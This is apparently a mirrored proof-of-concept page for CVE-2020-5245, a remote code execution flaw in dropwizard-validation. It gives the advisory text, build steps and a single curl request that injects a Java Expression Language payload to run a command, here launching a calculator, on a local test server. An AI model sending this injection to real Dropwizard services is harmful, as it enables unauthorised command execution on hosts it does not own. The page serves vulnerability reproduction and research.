CVE-2020-5245 PoC — Remote Code Execution (RCE) vulnerability in dropwizard-validation

Source

https://github.com/LycsHub/CVE-2020-5245

Associated Vulnerability

Title: Remote Code Execution (RCE) vulnerability in dropwizard-validation (CVE-2020-5245)
Description:Dropwizard-Validation before 1.3.19, and 2.0.2 may allow arbitrary code execution on the host system, with the privileges of the Dropwizard service account, by injecting arbitrary Java Expression Language expressions when using the self-validating feature. The issue has been fixed in dropwizard-validation 1.3.19 and 2.0.2.

Readme

CVE-2020-5245
---

1. Run `mvn clean install` to build your application
1. Start application with `java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml`
1. To check that your application is running enter url `http://localhost:8080`


some error in `pom.xml` plugins were not affected reproduce


![](start.png)

## Reproduce
`curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}`

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →